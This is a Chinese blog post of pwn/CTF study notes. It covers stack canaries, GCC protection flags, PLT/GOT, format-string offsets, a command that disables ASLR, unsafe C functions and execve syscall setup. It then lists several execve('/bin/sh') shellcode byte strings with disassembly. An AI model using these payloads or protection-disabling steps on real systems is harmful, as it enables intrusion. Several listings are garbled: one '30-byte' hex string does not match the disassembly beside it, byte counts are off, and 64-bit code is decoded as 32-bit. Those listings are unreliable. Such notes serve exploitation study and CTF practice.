pwn学习总结(四) —— 基础知识(持续更新)

pwn学习总结(四) —— 基础知识(持续更新)

Canary

描述:溢出保护
GCC设置Canary:

-fstack-protector			启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all		启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit	只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector		禁用保护

结构:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | 局部变量         |
        Low     |                 |
        Address

PLT表&GOT表

PLT表:指向GOT表,作用是动态加载函数地址
GOT表:位于数据段,函数被调用时,成员为函数在内存中的实际地址

格式化字符串漏洞

%1$p:RSI
%2$p:RDX
%3$p:RCX
%4$p:R8
%5$p:R9
%6$p:RSP[0]
%7$p:RSP[1]

GCC编译参数

-m32:编译为32位程序
-fno-stack-protector:不开启堆栈溢出保护
-no-pie:关闭pie
-z execstack:关闭NX保护

ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

0:关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
1:普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
2:增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

危险函数

输入

  • gets,直接读取一行,忽略’\x00’
  • scanf
  • vscanf

输出

  • sprintf

字符串

  • strcpy,字符串复制,遇到’\x00’停止
  • strcat,字符串拼接,遇到’\x00’停止
  • bcopy

输入流

标准输入:stdin (0)
标准输出:stdout(1)
标准错误输出:stderr (2)
文件输入:open(3)

syscall条件

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

shellcode

字节数:44

\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80

    0x0     push    0x68
    0x2     push    0x732f2f2f
    0x7     push    0x6e69622f
    0xc     mov     ebx, esp
    0xe     push    0x1010101
    0x13    xor     dword ptr [esp], 0x1016972
    0x1a    xor     ecx, ecx
    0x1c    push    ecx
    0x1d    push    4
    0x1f    pop     ecx
    0x20    add     ecx, esp
    0x22    push    ecx
    0x23    mov     ecx, esp
    0x25    xor     edx, edx
    0x27    push    0xb
    0x29    pop     eax
    0x2a    int     0x80

字节数:21

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

    0x0     xor     ecx, ecx
    0x2     mul     ecx
    0x4     mov     al, 0xb
    0x6     push    ecx
    0x7     push    0x68732f2f
    0xc     push    0x6e69622f
    0x11    mov     ebx, esp
    0x13    int     0x80

字节数:30

\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a

0x0     dec     eax
0x1     xor     edx, edx
0x3     dec     eax
0x4     mov     ebx, 0x69622f2f
0x9     outsb   dx, byte ptr [esi]
0xa     das    
0xb     jae     0x75
0xd     dec     eax
0xe     shr     ebx, 8
0x11    push    ebx
0x12    dec     eax
0x13    mov     edi, esp
0x15    push    eax
0x16    push    edi
0x17    dec     eax
0x18    mov     esi, esp
0x1a    mov     al, 0x3b
0x1c    syscall 

字节数:24

\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

0x00    3E31C0            ds xor eax,eax
0x03    31D2              xor edx,edx
0x05    52                push edx
0x06    682F2F7368        push dword 0x68732f2f
0x0B    682F62696E        push dword 0x6e69622f
0x10    89E3              mov ebx,esp
0x12    31C9              xor ecx,ecx
0x14    B00B              mov al,0xb
0x16    CD80              int 0x80

字节数:24

\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05

00000000  6A3B              push byte +0x3b
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  48                dec eax
00000006  BB2F2F6269        mov ebx,0x69622f2f
0000000B  6E                outsb
0000000C  2F                das
0000000D  7368              jnc 0x77
0000000F  53                push ebx
00000010  54                push esp
00000011  5F                pop edi
00000012  52                push edx
00000013  57                push edi
00000014  54                push esp
00000015  5E                pop esi
00000016  0F05              syscall

其它

‘$0’ = ‘/bin/sh’

发布了45 篇原创文章 · 获赞 2 · 访问量 1835

猜你喜欢

转载自blog.csdn.net/qq_41988448/article/details/103138226